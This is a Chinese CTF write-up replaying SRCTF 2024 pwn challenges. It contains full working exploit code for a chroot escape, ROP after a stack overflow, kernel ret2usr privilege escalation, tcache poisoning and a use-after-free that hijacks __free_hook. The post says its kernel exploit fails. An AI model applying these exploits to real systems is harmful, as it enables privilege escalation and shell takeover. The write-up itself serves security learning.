2024暑期學習(三)

cosyQAQ發表於2024-08-18

暑期學習(三)

SRCTF復現

chroot_escape

chroot()簡介:

chroot() 是一個 Unix 系統呼叫,通常用於提供 在執行不受信任的程式時提供額外的安全層。核心開啟 支援 chroot() 的 Unix 變體維護了根的註釋 系統上每個程序都有的目錄。通常這是“/”,但是 chroot() 系統呼叫可以改變這一點。當成功呼叫 chroot() 時,呼叫程序有其根目錄的概念 更改為作為 chroot() 引數給出的目錄。為 示例:在以下程式碼行之後,程序將看到目錄 “/foo/bar”作為其根目錄。

在呼叫 chroot() 之前需要先呼叫 chdir() 的原因。由於大多數 chroot() 的實現不會自動將程序的工作目錄更改到新的根目錄下,因此在呼叫 chroot() 之前,需要確保程序的工作目錄已經在新的 chroot() 區域內。否則,在 chroot() 之後,如果程序嘗試開啟根目錄("/"),實際上會開啟 chroot() 之前的目錄。由於根目錄發生了變化,chroot() 後的程式執行時需要一些基本的檔案和程式,例如 Shell 直譯器 sh 所需的檔案。

File Usage
/bin/sh The binary for sh
/usr/ld.so.1 Dynamically link in the shared object libraries
/dev/zero Ensuring that the pages of memory used by shared objects are clear
/usr/lib/libc.so.1 The general C library
/usr/lib/libdl.so.1 The dynamic linking access library
/usr/lib/libw.so.1 Internationalisation library
/usr/lib/libintl.so.1 Internationalisation library
/usr/platform/SUNW,Ultra-1/lib/libc_psr.so.1 "Processor Specific Runtime" - contains replacements for certain library functions (i.e. memcpy) hand coded in faster assembly.

儘管 chroot() 在一定程度上是安全的,但如果程式擁有 root 許可權(即 UID 為 0),則可以透過特定方式逃逸出 chroot() 環境。為了實現這一點,攻擊者需要有 C 編譯器或 Perl 直譯器,並利用系統中的安全漏洞獲取 root 許可權。

exp:

#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
    mkdir("a-dir", 0755);
    chroot("a-dir");
    for(int i = 0; i < 10; i++) {
    chdir("..");
    }
    chroot(".");
    system("/bin/bash");
}

需要靜態連結或者是內聯彙編,因為容器裡沒有裝動態連結庫

如何上傳檔案??可以先將資料編碼,然後透過終端將編碼的資料傳上去後再解碼

exp:

from pwn import *
import os
context(os='linux', arch='amd64')
context.log_level = 'debug'
p = remote("110.40.35.62",34241)

def read_file(filename):
    with open(filename, 'r') as file:
        return file.read()


os.system('base64 exp > exp.b64')
p.sendline('cat <<EOF > exp.b64')
p.sendline(read_file('exp.b64'))
p.sendline('EOF')
p.sendline('base64 -d exp.b64 > exp')
p.sendline('chmod +x ./exp')

p.interactive()

stackoverflow

檢查保護,開了PIE:

[*] '/home/ubuntu/CTF/復現/SRCTF 2024/stackoverflow/vuln'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

main函式執行後會跳轉到__libc_start_call_main + 一個偏移的位置call exit。

image-20240810151216254

透過除錯進入libc_start_call_main其中有一段gadgget,call rax,rax是rsp+8,剛好可以重新進入main函式,所以改call exit的偏移為call rax的偏移,又有printf可以洩露出帶有libc偏移的的地址,之後再執行rop。

image-20240810151005787

pwndbg> stack 20
00:0000│ rsp 0x7fffffffdd10 ◂— 0x0
01:0008│     0x7fffffffdd18 —▸ 0x5555555551ee ◂— 0xe5894855fa1e0ff3
02:0010│     0x7fffffffdd20 ◂— 0x1ffffde00
03:0018│     0x7fffffffdd28 —▸ 0x7fffffffde18 —▸ 0x7fffffffe1aa ◂— 0x62752f656d6f682f ('/home/ub')
04:0020│     0x7fffffffdd30 ◂— 0x0
05:0028│     0x7fffffffdd38 ◂— 0x3ffccb3981dd0c93
06:0030│     0x7fffffffdd40 —▸ 0x7fffffffde18 —▸ 0x7fffffffe1aa ◂— 0x62752f656d6f682f ('/home/ub')
07:0038│     0x7fffffffdd48 —▸ 0x5555555551ee ◂— 0xe5894855fa1e0ff3
08:0040│     0x7fffffffdd50 —▸ 0x555555557db0 —▸ 0x555555555140 ◂— 0x2efd3d80fa1e0ff3
09:0048│     0x7fffffffdd58 —▸ 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555554000 ◂— 0x10102464c457f
0a:0050│     0x7fffffffdd60 ◂— 0xc00334c63bff0c93
0b:0058│     0x7fffffffdd68 ◂— 0xc003248c3b570c93
0c:0060│     0x7fffffffdd70 ◂— 0x7fff00000000
0d:0068│     0x7fffffffdd78 ◂— 0x0
... ↓        3 skipped
11:0088│     0x7fffffffdd98 ◂— 0xe97d02590a3d4c00
12:0090│     0x7fffffffdda0 ◂— 0x0
13:0098│     0x7fffffffdda8 —▸ 0x7ffff7dade40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1ef159]
pwndbg> vmmap 0x5555555551ee
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/ubuntu/CTF/復現/SRCTF 2024/stackoverflow/vuln
►   0x555555555000     0x555555556000 r-xp     1000   1000 /home/ubuntu/CTF/復現/SRCTF 2024/stackoverflow/vuln +0x1ee
    0x555555556000     0x555555557000 r--p     1000   2000 /home/ubuntu/CTF/復現/SRCTF 2024/stackoverflow/vuln

exp:

from pwn import *
#p=remote("110.40.35.62",34243)
elf = ELF("./vuln")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")


payload='a'*0x108+'\x89'
p.send(payload)
p.recvuntil('a'*0x108)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x29d89
info("libc base: "+hex(libc_base))

pop_rdi_ret=libc_base+0x2a3e5
system=libc_base+libc.sym['system']
binsh=libc_base+next(libc.search("/bin/sh\x00"))
xor_rax_rax_ret = libc_base + 0x00000000000baaf9
ret=libc_base+0x29cd6

payload='a'*0x108+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)

p.interactive()

krop

參考:

基礎知識 - CTF Wiki (ctf-wiki.org)

透過一道簡單的例題了解Linux核心PWN - FreeBuf網路安全行業門戶

ret2usr(已過時) - CTF Wiki (ctf-wiki.org)

傳統的 kernel pwn 題目通常會給以下三個檔案:

  1. boot.sh: 一個用於啟動 kernel 的 shell 的指令碼,多用 qemu,保護措施與 qemu 不同的啟動引數有關
  2. bzImage: kernel binary
  3. rootfs.cpio: 檔案系統映像

kernel pwn的目的是提權

使用batcat檢視 startvm.sh可以知道環境開了什麼保護

➜  krop batcat startvm.sh 
───────┬──────────────────────────────────────────────────────────────────────────────────
       │ File: startvm.sh
───────┼──────────────────────────────────────────────────────────────────────────────────
   1   │ #!/bin/bash
   2   │ 
   3   │ 
   4   │ timeout --foreground 600 qemu-system-x86_64 \
   5   │     -m 128M \
   6   │     -nographic \
   7   │     -kernel bzImage \
   8   │     -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
   9   │     -monitor /dev/null \
  10   │     -initrd initramfs.cpio \
  11   │     -smp cores=1,threads=1 \
  12   │     -cpu qemu64
───────┴─────

程式沒有開啟kaslr smap smep這些保護,題目關鍵的邏輯在initramfs.cpio

其中主要的 qemu 引數含義如下:

  • -initrd initramfs.cpio,使用initramfs.cpio 作為核心啟動的檔案系統
  • -kernel bzImage,使用 bzImage 作為 kernel 映像
  • -cpu kvm64,設定 CPU 的安全選項,這裡開啟了 smep
  • -m 64M,設定虛擬 RAM 為 128M,預設為 128M

其他的 qemu 引數可以透過 --help 檢視:qemu-system-x86_64 --help

➜  krop file initramfs.cpio               
initramfs.cpio: ASCII cpio archive (SVR4 with no CRC)

環境裡面安裝了一個vuln.ko的驅動,需要做的事情是逆向分析vuln.ko中有什麼漏洞,然後使用c編寫和vuln.ko互動的邏輯去利用漏洞

進入initramfs,在根目錄下里面有一個「init」檔案,它決定啟動哪些程式,比如執行某些指令碼和啟動shell。它的內容如下:

#!/bin/sh
echo "[*] Init script"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp

insmod /vuln.ko
chmod 644 /dev/simple_ret2usr
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict 

chmod 700 /flag
echo "[*] Finish..."
echo "IF9fICAgICAgX18gICAgICAgLl9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfXyAgICBfX19fXyAKLyAgXCAgICAvICBcIF9fX18gfCAgfCAgIF9fX18gIF9fX18gICBfX19fXyAgIF9fX18gICBfLyAgfF8gX19fXyAgICAgX19fX19fX19fX19fICBfX19fXy8gIHxfXy8gX19fX1wKXCAgIFwvXC8gICBfLyBfXyBcfCAgfCBfLyBfX19cLyAgXyBcIC8gICAgIFxfLyBfXyBcICBcICAgX18vICBfIFwgICAvICBfX19cXyAgX18gXy8gX19fXCAgIF9fXCAgIF9fXCAKIFwgICAgICAgIC9cICBfX18vfCAgfF9cICBcX18oICA8Xz4gfCAgWSBZICBcICBfX18vICAgfCAgfCggIDxfPiApICBcX19fIFwgfCAgfCBcXCAgXF9fX3wgIHwgIHwgIHwgICAKICBcX18vXCAgLyAgXF9fXyAgfF9fX18vXF9fXyAgXF9fX18vfF9ffF98ICAvXF9fXyAgPiAgfF9ffCBcX19fXy8gIC9fX19fICA+fF9ffCAgIFxfX18gIHxfX3wgIHxfX3wgICAKICAgICAgIFwvX18gICAgIFwvICAgICAgICAgIF9fICAgICAgICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICBfX19fXy5fXy8gICAgICAgICAgICBcL19fICAgICAgICAgICAKICBfX19fX18vICB8X19fX19fIF9fX19fX19fLyAgfF8gICBfX18uX18uIF9fX18gIF9fIF9fX19fX19fXyAgXy8gX19fX3xfX19fX19fX18gX19fX19fLyAgfF8gICAgICAgICAKIC8gIF9fX1wgICBfX1xfXyAgXFxfICBfXyBcICAgX19cIDwgICB8ICB8LyAgXyBcfCAgfCAgXF8gIF9fIFwgXCAgIF9fXHwgIFxfICBfXyAvICBfX19cICAgX19cICAgICAgICAKIFxfX18gXCB8ICB8ICAvIF9fIFx8ICB8IFwvfCAgfCAgICBcX19fICAoICA8Xz4gfCAgfCAgL3wgIHwgXC8gIHwgIHwgIHwgIHx8ICB8IFxcX19fIFwgfCAgfCAgICAgICAgICAKL19fX18gID58X198IChfX19fICB8X198ICAgfF9ffCAgICAvIF9fX198XF9fX18vfF9fX18vIHxfX3wgICAgIHxfX3wgIHxfX3x8X198IC9fX19fICA+fF9ffCAgICAgICAgICAKIF9fICBcLyAgICAgICAgICAgXC8gICAgICAgICAgICAgLl9fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgICAgICAKfCAgfCBfXyBfX19fX19fX19fXyAgX19fXyAgIF9fX18gfCAgfCAgIF9fX19fX19fICBfICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgfC8gXy8gX18gXF8gIF9fIFwvICAgIFxfLyBfXyBcfCAgfCAgIFxfX19fIFwgXC8gXC8gLyAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgICA8XCAgX19fL3wgIHwgXHwgICB8ICBcICBfX18vfCAgfF9fIHwgIHxfPiBcICAgICB8ICAgfCAgXCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfF9ffF8gXFxfX18gIHxfX3wgIHxfX198ICAvXF9fXyAgfF9fX18vIHwgICBfXy8gXC9cXy98X19ffCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICBcLyAgICBcLyAgICAgICAgICAgXC8gICAgIFwvICAgICAgIHxfX3wgICAgICAgICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA=" | base64 -d

setsid /bin/cttyhack setuidgid 1000 /bin/sh

在init檔案中看到用insmod命令載入了vuln.ko驅動,那麼我們把這個驅動拿出來,檢查一下開啟的保護:

➜  initramfs checksec vuln.ko
[*] '/home/ubuntu/CTF/復現/SRCTF 2024/krop/initramfs/vuln.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

把驅動程式放到IDA裡面檢視程式邏輯,在初始化的位置註冊了一個misc裝置,然後定義了一個針對ioctl操作的函式,copy_from_user這裡存在一個棧溢位,然後因為沒有開啟kaslr的保護,地址都是固定的,可以使用ret2usr去提權,ret2usr的攻擊方式是在核心態執行commit_creds(prepare_kernel_cred(NULL))更改cred結構體為root許可權的cred然後使用 swapgs和iret返回到使用者態執行 system binsh提權:

__int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v4; // [rsp+0h] [rbp-100h] BYREF

  copy_from_user(&v4, a3, 512LL);
  printk(&unk_80);
  return -14LL;
}

__int64 init_module()
{
  unsigned int v0; // r12d

  v0 = misc_register(&my_device);
  if ( v0 )
    printk(&unk_C7);
  else
    printk(&unk_DC);
  return v0;
}

一個build.sh打包的指令碼,忘記在哪裡看的了

gcc exp.c -static -o exp
chmod +x exp
cp exp initramfs/
cd initramfs
find . | cpio -o --format=newc > ../initramfs.cpio

cpio -o --format=newc:使用 cpio 命令將找到的檔案和目錄打包成一個 .cpio 檔案,--format=newc 表示使用 newc 格式,這是一個較新的 cpio 格式,適合建立 initramfs 檔案。

打包完後執行./startvm.sh指令碼:

[*] Init script
[*] Finish...
 __      __       .__                                  __                                 
/  \    /  \ ____ |  |   ____  ____   _____   ____   _/  |_ ____     ____________  _____/\
\   \/\/   _/ __ \|  | _/ ___\/  _ \ /     \_/ __ \  \   __/  _ \   /  ___\_  __ _/ ___\  
 \        /\  ___/|  |_\  \__(  <_> |  Y Y  \  ___/   |  |(  <_> )  \___ \ |  | \\  \___| 
  \__/\  /  \___  |____/\___  \____/|__|_|  /\___  >  |__| \____/  /____  >|__|   \___  | 
       \/__     \/          __            \/     \/              _____.__/            \/_ 
  ______/  |______ ________/  |_   ___.__. ____  __ _________  _/ ____|_________ ______/  
 /  ___\   __\__  \\_  __ \   __\ <   |  |/  _ \|  |  \_  __ \ \   __\|  \_  __ /  ___\   
 \___ \ |  |  / __ \|  | \/|  |    \___  (  <_> |  |  /|  | \/  |  |  |  ||  | \\___ \ |  
/____  >|__| (____  |__|   |__|    / ____|\____/|____/ |__|     |__|  |__||__| /____  >|_ 
 __  \/           \/             .__/                                               \/    
|  | __ ___________  ____   ____ |  |   ________  _  ______                               
|  |/ _/ __ \_  __ \/    \_/ __ \|  |   \____ \ \/ \/ /    \                              
|    <\  ___/|  | \|   |  \  ___/|  |__ |  |_> \     |   |  \                             
|__|_ \\___  |__|  |___|  /\___  |____/ |   __/ \/\_/|___|  /                             
     \/    \/           \/     \/       |__|              \/                              
/ $ ls
bin      etc      flag     linuxrc  root     sys      usr
dev      exp      init     proc     sbin     tmp      vuln.ko
/ $ ./exp
[-] Failed to open driver

這裡失敗了,具體原因還沒弄清楚。

exp:

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_usermode_status() {
    asm(
        "movq %%cs, %0;"
        "movq %%ss, %1;"
        "movq %%rsp, %2;"
        "pushfq;"
        "popq %3;"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}


void get_shell()
{
    system("/bin/sh");
}


void payload()
{
  commit_creds(prepare_kernel_cred(0));
  asm(
    "pushq   %0;"
    "pushq   %1;"
    "pushq   %2;"
    "pushq   %3;"
    "pushq   $get_shell;"
    "swapgs;"
    "iretq;"
    ::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}


int main() {
  
  void *buf[0x100];
  save_usermode_status();
  int fd = open("/dev/baby", 0);
    if (fd < 0) {
        printf("[-] Failed to open driver\n");
        exit(-1);
    }
    for(int i=0; i<0x100; i++) {
      buf[i] = &payload;
    }

    ioctl(fd, 0x6001, buf);
}

Master_of_memory_management

檢查保護:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

檢視主要函式:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      choice = get_choice();
      if ( choice != 1 )
        break;
      create_chunk();
    }
    switch ( choice )
    {
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      default:
        puts("[-] exit()");
        exit(0);
    }
  }
}

unsigned __int64 create_chunk()
{
  _DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  printf("size:");
  __isoc99_scanf("%u", size);
  chunklist = malloc(size[0]);
  if ( !chunklist )
  {
    puts("Error");
    exit(1);
  }
  return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}

void delete()
{
  free(chunklist);
}

ssize_t show()
{
  printf("-->");
  return write(1, chunklist, 0x10uLL);
}

ssize_t edit()
{
  return read(0, chunklist, 0x10uLL);
}

存在uaf,但是隻有一個位置儲存地址,每次申請堆塊都會更新這個位置,該怎麼樣申請一個unsortedbin呢?直接申請出來free掉後又會和top chunk合併。透過偽造fake chunk頭保證fakechunk和nextchunk是銜接的。

偽造0xa1大小的fake chunk:

create(0x58)
delete()
show()
ru("-->")
data=u64(r(5).ljust(8,'\x00'))
heap_base=data<<12
success("heap_address: "+hex(heap_base))

create(0x58) # reset
create(0xa8) # 填充
edit(p64(0)+p64(0xa1)) #0x98 udata+0x8 size+ prev_inuse

如下圖:

wndbg> x/20gx 0x40c2f0
0x40c2f0:	0x0000000000000000	0x00000000000000b1
0x40c300:	0x0000000000000000	0x00000000000000a1
0x40c310:	0x0000000000000000	0x0000000000000000
0x40c320:	0x0000000000000000	0x0000000000000000
0x40c330:	0x0000000000000000	0x0000000000000000
0x40c340:	0x0000000000000000	0x0000000000000000
0x40c350:	0x0000000000000000	0x0000000000000000
0x40c360:	0x0000000000000000	0x0000000000000000
0x40c370:	0x0000000000000000	0x0000000000000000
0x40c380:	0x0000000000000000	0x0000000000000000

double free讓 chunklist中有fakechunk的地址,清空tcache key去繞過tcache free的檢查。填滿tcache後就能申請出unsortedbin了

target = heap_base + 0x310
pos = heap_base
edit(p64(target ^ (pos >> 12))) # tcache poison  ^ (pos >> 12)這是為了繞過檢查
pwndbg> bins
tcachebins
0x50 [  2]: 0x1f353b0 —▸ 0x1f35310 ◂— 0x1f35
fastbins

那怎麼劫持控制流呢?可以透過puts的利用鏈 寫libc中的 strlen got表來劫持控制流,透過tcache poison去修改 chunklist的指標可以實現任意地址寫,然後寫backdoor就好了

檢視本機的libc版本:strings /lib/x86_64-linux-gnu/libc.so.6 | grep 'GNU'

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./vuln")
#p = remote("127.0.0.1",8888)
elf = ELF("./vuln")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
#context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'


s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

def create(size):
    sla(">>>","1")
    sla("size",str(size))

def delete():
    sl("2")

def show():
    sla(">>>","3")

def edit(content):
    sla(">>>","4")
    s(content)

create(0x58)
delete()
show()
ru("-->")
data=u64(r(5).ljust(8,'\x00'))
heap_base=data<<12
success("heap_address: "+hex(heap_base))

create(0x58) # reset
create(0xa8) # 填充
edit(p64(0)+p64(0xa1)) #0x98 udata+0x8 size+ prev_inuse

create(0x48)
delete()
edit(p64(0) + p64(0))
delete() # tcache count > 1

target = heap_base + 0x310
pos = heap_base+ 0x3b0
edit(p64(target ^ (pos >> 12))) # tcache poison

create(0x48)
create(0x48) # fake chunk(udata_size 0x88)

delete() # 1

edit(p64(0) + p64(0))
delete() # 2

edit(p64(0) + p64(0))
delete() # 3

edit(p64(0) + p64(0))
delete() # 4

edit(p64(0) + p64(0))
delete() # 5

edit(p64(0) + p64(0))
delete() # 6

edit(p64(0) + p64(0))
delete() # 7

edit(p64(0) + p64(0))
delete() # 8 unsorted bin

show()
ru("-->")
libc_base=u64(r(6).ljust(8,'\x00'))-0x4ce0
info("libc base: "+hex(libc_base))

strlen_got = libc_base + 0x00000000021A098
backdoor = 0x00000000040149C
chunklist = 0x000000000404050

create(0x158)
delete()
edit(p64(0) + p64(0))
delete()

pos = heap_base
edit(p64(chunklist ^ (pos >> 12)))

create(0x158)
create(0x158)

edit(p64(strlen_got))
edit(p64(backdoor))



# gdb.attach(p)

p.interactive()

uaf

這題沒有show函式,glibc 2.31沒有 safelink的保護,任意地址寫的原語不需要洩露堆地址就可以實現,將stdout鏈入tcache後 修改stdout.

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  unsigned int choice; // [rsp+Ch] [rbp-4h]

  init();
  while ( 1 )
  {
    menu();
    choice = get_uint32();
    switch ( choice )
    {
      case 1u:
        add();
        break;
      case 2u:
        delete();
        break;
      case 3u:
        edit();
        break;
    }
  }
}

void __cdecl add()
{
  unsigned int idx; // [rsp+8h] [rbp-8h]
  unsigned int size; // [rsp+Ch] [rbp-4h]

  idx = get_uint32();
  if ( idx > 0xFF )
    exit(1);
  size = get_uint32();
  chunklist[idx] = malloc(size);
  sizelist[idx] = size;
}

void __cdecl delete()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  idx = get_uint32();
  if ( idx > 0xFF )
    exit(1);
  if ( chunklist[idx] )
    free(chunklist[idx]);
}

void __cdecl edit()
{
  unsigned int idx; // [rsp+Ch] [rbp-4h]

  idx = get_uint32();
  if ( idx > 0xFF )
    exit(1);
  if ( chunklist[idx] )
    read(0, chunklist[idx], sizelist[idx]);
}

可以覆蓋writebase低位位元組去洩露地址,也可以透過控制三個寫指標精準的洩露某個地址,洩露地址後 修改freehook為 system最後去free一個內容為binsh的堆就能getshell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.62"
PORT = 32826

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
    sla(">>>","1")
    sl(str(idx))
    sl(str(size))

def delete(idx):
    sla(">>>","2")
    sl(str(idx))

def edit(idx,content):
    sla(">>>","3")
    sl(str(idx))
    s(content)

stdout = 0x404020

for i in range(4):
    add(i,0x58)

for i in range(4):
    delete(i)

# 3 -> 2 -> 1 -> 0
edit(3,p64(stdout))

add(4,0x58)
add(5,0x58) # stdout
add(6,0x58) # _IO_2_1_stdout_

payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']])

edit(6,payload)

r(1)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['free']
success(f"free_addr -> {hex(leak)}")
success(f"libc_base ->{hex(libc_base)}")


system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']


for i in range(7,7 + 3):
    add(i,0x68)

for i in range(7,7 + 3):
    delete(i)
# 9 - > 8 -> 7

edit(9,p64(free_hook))

add(10,0x68)
add(11,0x68)

edit(10,b'/bin/sh')
edit(11,p64(system))

delete(10)


# g(p)


p.interactive()

參考

脫離 chroot() 填充單元格 (archive.org)

基礎知識 - CTF Wiki (ctf-wiki.org)

透過一道簡單的例題了解Linux核心PWN - FreeBuf網路安全行業門戶

ret2usr(已過時) - CTF Wiki (ctf-wiki.org)

相關文章